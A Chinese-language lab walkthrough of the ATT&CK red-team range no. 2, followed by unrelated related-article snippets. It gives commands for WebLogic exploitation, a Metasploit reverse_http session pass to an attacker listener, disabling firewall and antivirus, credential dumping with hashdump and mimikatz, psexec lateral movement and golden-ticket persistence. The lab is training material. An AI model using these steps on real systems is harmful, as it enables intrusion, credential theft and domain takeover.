ATTCK红队评估实战靶场二

news2024/11/19 7:22:41

描述

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。

靶场地址:漏洞详情

环境说明:10.10.10.1/24

DMZ网段:192.168.1.0/24

DC:10.10.10.10

WEB:10.10.10.80\192.168.1.8

PC:10.10.10.20\192.168.1.11

WEB机器开启WebLogic服务

C:\Oracle\Middleware\user_projects\domains\base_domain\bin 

startWebLogic---以管理员身份运行

b1be26f087a442d587fa5e80bfe7cd67.png

这个窗口不要关闭

fd482ad5d1d84e4da2ebfdcd1e7c9bc0.png

一、信息收集

扫描WEB主机

nmap -sV -T4 192.168.1.8

d294332d2d714a138d79aab3c6c7233d.png

访问80端口,是空白

访问7001端口,发现是WebLogic服务

a1531c503e1047188c37e8f8698ff41a.png

访问控制台:192.168.1.8:7001/console/login/LoginForm.jsp

尝试弱口令登录,被拒绝

dd4a2b156166432593779038493c02b7.png

WeblogicScan 扫描漏洞

发现CVE-2019-2725

537d82f2b31042fb88a53d5402e0325e.png

56ada560e2eb4cb486b7f4f369835803.png

先将防火墙和360关闭

9e533eb1909847478557c0acb4d83a2b.png

web主机存在两个网段

2cba1ebad01241aa851841449c6f4de3.png

上线CS

创建侦听

04ee0c52d20e4675a89dc3f13cf8da33.png

MSF转发会话

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.1.134
set lport 8855
set session 1

489cdc6a3c9f49f796d2aa1becc48593.png

33cd65c9755d46b3b7727f4dc9021d4f.png

CS收到会话

设置睡眠:sleep 1

6ff0ea243e0040d7962f0b325565ae40.png

提升权限

利用插件:MS14-058漏洞提升权限

74f03692fd0542c5a8408b7b797f9ccf.png

扫描端口

explore--port scan--选择10.10.10.0网段扫描

0b43da6c4df94f46b785684764b54f4a.png

发现三台内网主机

获取hash

hashdump           #获取hash

logonpasswords  #获取明文密码

2a6e32233d344f5e99c3e872b21fb59a.png

查看域控

关闭防火墙:netsh advfirewall set allprofiles state off
查看有几个域:net view /domain
查看域名:net config workstation
查看域内主机:nei view
查询域内用户:net user /domain
查看域管理员:net group "domain admins" /domain  

d65dac62669c4b6daba701f9badc138c.png

使用CS自带功能,RunMinikatz获取hash和明文密码

创建SMB侦听器

name:自定义

payload:选择beacon SMB

save

Psexec

目标需要开放445端口和admin

上线DC

 选择de1ay\administrator账户

Listener选择刚才创建的SMB

session选择

上线DC

上线PC与上线DC步骤一致

权限维持

在域控获得KRBTGT账户NTLM密码哈希和SID,然后复制保存到记事本!

域名:de1ay.com

黄金票据利用

黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心(KDC)证明用户已被其他域控制器认证。

黄金票据的条件要求:

1.域名称

2.域的SID值

3.域的KRBTGT账户NTLM密码哈希

4.伪造用户名

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,当失去域控权限时,内其他在通过域任意机器伪造票据重新获取最高权限。

WEB主机 Administrator账户权限-t>右键->Access->Golden Ticke

伪造成功

查看当前系统的票据:

mimikatz kerberos::list

可以访问域控

使用当前令牌登录PC

勾选Use session's current access token

参考:

ATT&CK实战系列——红队实战(二)-腾讯云开发者社区-腾讯云

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1039506.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring学习笔记10 JdbcTemplate

Spring学习笔记9 SpringIOC注解式开发_biubiubiu0706的博客-CSDN博客 JdbcTemplate是Spring提供的一个JDBC模板类,是对JDBC的封装,简化JDBC代码. 新建模块spring-jdbctemplate 引入依赖 <dependencies><!--Spring Context依赖--><dependency><groupId>…

直播软件App开发:10个关键步骤,从零到一掌握

欢迎来到本文&#xff0c;我将为您解析直播软件App开发的关键步骤&#xff0c;帮助您从零开始掌握这一领域。作为该主题领域的专家&#xff0c;我将为您分享十个重要的步骤&#xff0c;带您实现直播软件App的开发目标。 步骤一&#xff1a;市场调研与需求分析 在直播软件App开…

购物新时尚RFID自助结账

购物已经变得更加简单和方便了&#xff0c;归功于RFID自助结账。别再排队等收银员了&#xff0c;让我们来看看这个酷炫的新方式。 RFID是什么&#xff1f;RFID就是那些小电子标签&#xff0c;它们能够让物品自动被识别。每个商品都有一个这样的标签&#xff0c;而RFID读卡器就…

Ansys Zemax | 如何设计光谱仪——实际应用

光谱学是一种无创性技术&#xff0c;是研究组织、等离子体和材料的最强大工具之一。 本文介绍了如何使用市售的光学元件来实现透镜-光栅-透镜&#xff08;LGL&#xff09;光谱仪。进行光谱仪的设置&#xff0c;并对其设计进行改进和优化。&#xff08;联系我们获取文章附件&…

品牌新闻稿大纲怎么写?建议收藏

一篇品牌新闻稿的大纲就犹如是全篇的骨架&#xff0c;骨架搭建好&#xff0c;然后再慢慢填充新鲜血液。品牌新闻稿的大纲亦是全文的写作方向&#xff0c;写好新闻稿大纲才能进行下一步撰写&#xff0c;写好新闻稿大纲你的稿件就离成功不远了。品牌新闻稿大纲怎么写&#xff1f;…

Tomcat中文路径目录

一、问题描述 linux环境下tomcat发布了包含中文名字的页面和文件&#xff0c;浏览器访问报404&#xff0c;非中文页面没有问题&#xff1b;本人为RP设计的原型图发布&#xff0c;其中包含了大量的中文文件和路径 二、解决步骤 第一步&#xff0c;设置tomcat&#xff0c;配置…

数据结构——快排与归并

排序算法 前言一、快速排序hoare版本挖坑法前后指针版本快速排序优化&#xff1a;快速排序非递归快速排序的特性总结&#xff1a; 二、归并排序基本思想&#xff1a;归并排序的特性总结&#xff1a; 总结 前言 重要的事说三遍&#xff01; 学习&#xff01;学习&#xff01;学…

能把西瓜塞进口袋吗?详解Java数据类型与变量

&#x1f451;专栏内容&#xff1a;Java⛪个人主页&#xff1a;子夜的星的主页&#x1f495;座右铭&#xff1a;前路未远&#xff0c;步履不停 目录 一、数据类型二、变量1、整型变量Ⅰ、整型变量的初始化Ⅱ、长整型变量Ⅲ、短整型变量 2、字节型变量3、浮点型变量Ⅰ、双精度浮…

支撑位和阻力位在Renko和烛台图如何使用?FPmarkets澳福3秒回答

很多投资者都知道&#xff0c;Renko图表和普通日本烛台都会采用相同的交易信号&#xff0c;即支撑位和阻力位。那么支撑位和阻力位在Renko和烛台图如何使用?FPmarkets澳福3秒回答。 这些信号在任何时间框架上都会出现&#xff0c;且在蜡烛图交易中颇受欢迎。对于Renko图表而言…

串口数据太多,接收不完。Arduino修改串口缓冲区大小的办法

和网上搜到修改的方法不太一样&#xff0c;可能是版本不一样&#xff0c;我的方法供大家参考。arduino的串口缓冲区_Arduino修改串口缓冲区大小的办法 找到Serial.begin(115200);的定义&#xff0c; 串口收发代码示例 #include <Arduino.h> void setup() {// initial…

二叉树题目:翻转等价二叉树

文章目录 题目标题和出处难度题目描述要求示例数据范围 解法思路和算法代码复杂度分析 题目 标题和出处 标题&#xff1a;翻转等价二叉树 出处&#xff1a;951. 翻转等价二叉树 难度 4 级 题目描述 要求 对于二叉树&#xff0c;我们可以定义如下翻转操作&#xff1a;选…

【app篇】写个简单的BLE调试app,练练手,同时为后续调试ESP32 BLE做个支持

忘记过去&#xff0c;超越自己 ❤️ 博客主页 单片机菜鸟哥&#xff0c;一个野生非专业硬件IOT爱好者 ❤️❤️ 本篇创建记录 2023-09-25 ❤️❤️ 本篇更新记录 2023-09-25 ❤️&#x1f389; 欢迎关注 &#x1f50e;点赞 &#x1f44d;收藏 ⭐️留言&#x1f4dd;&#x1f64…

5、Nacos服务注册服务端源码分析(四)之NotifyCenter

上篇我们讲server端处理服务注册源码时&#xff0c;遇到了一个关键类NotifyCenter&#xff0c;本篇就主要来分析下这个类。 NotifyCenter 这个类所在包&#xff1a;nacos-common /*** Unified Event Notify Center.*/通过类注释可以看出来这个类是一个统一的事件通知中心&am…

PHP8中的构造方法和析构方法-PHP8知识详解

今日分享的内容是php8中的构造方法和析构方法&#xff0c;我们把构造方法和析构方法这两个方法分开来讲&#xff1a; 1、构造方法 构造方法存在于每个声明的类中&#xff0c;主要作用是执行一些初始化任务。如果类中没有直接声明构造方法&#xff0c;那么类会默认地生成一个没…

仿网吧游戏菜单-超好用

GG软件菜单(X64)仿网吧菜单: https://url75.ctfile.com/f/1834175-943877085-2d844a?p6775 (访问密码: 6775)

如何将前后端分离的项目部署在服务器上

宝塔Linux部署&#xff1a; 因为要部署前端我们先下个nigx Tomcat,下载这个只是为了java&#xff0c;它里面包含java的 前端 在去添加站点&#xff0c;域名暂时是自己的公网 然后打开新建的站点&#xff0c;把里面的文件全删掉&#xff0c;再把自己的前端dist里的文件全选拖…

高速USB转8路RS422串口

基于480Mbps 高速USB转8路串口芯片CH348&#xff0c;可以为各类主机扩展出8个独立的串口。使用厂商提供的VCP串口驱动程序&#xff0c;可支持Windows、Linux、Android、macOS等操作系统。使用单个CH348芯片即可实现USB一拖八串口转接产品&#xff0c;高速USB收发器和控制器、高…

SpringCloud 简单的了解

什么是SpringCloud ? 基于 Spring Boot 的 Spring 集成应用程序&#xff0c;它利用 Spring Boot 的开发便利性简化了分布式系统的开发&#xff0c;提供与外部系统的集成。 如服务注册与发现、配置中心、负载均衡、断路器、消息总线、数据监控等&#xff1b;换句话说&#xff…

拼多多商品详情数据接口

拼多多商品详情接口的具体内容。获取拼多多商品详情&#xff0c;可以参考如下方式&#xff1a; item_get_app-根据ID取商品详情原数据接口包括&#xff1a;标题&#xff0c;价格&#xff0c;促销价&#xff0c;优惠券&#xff0c;库存&#xff0c;销量&#xff0c;详情图片&am…

Android开发之状态栏的设置

Android页面开发通常是根据UI设计进行&#xff0c;真机会遇到顶部状态栏和页面背景色或背景图片不协调的情况&#xff0c;这时候需要对状态栏进行设置。默认状态栏是有固定高度和背景色的&#xff0c;基本上我们需要将状态栏背景色设置透明并且图标能够在页面显示&#xff0c;下…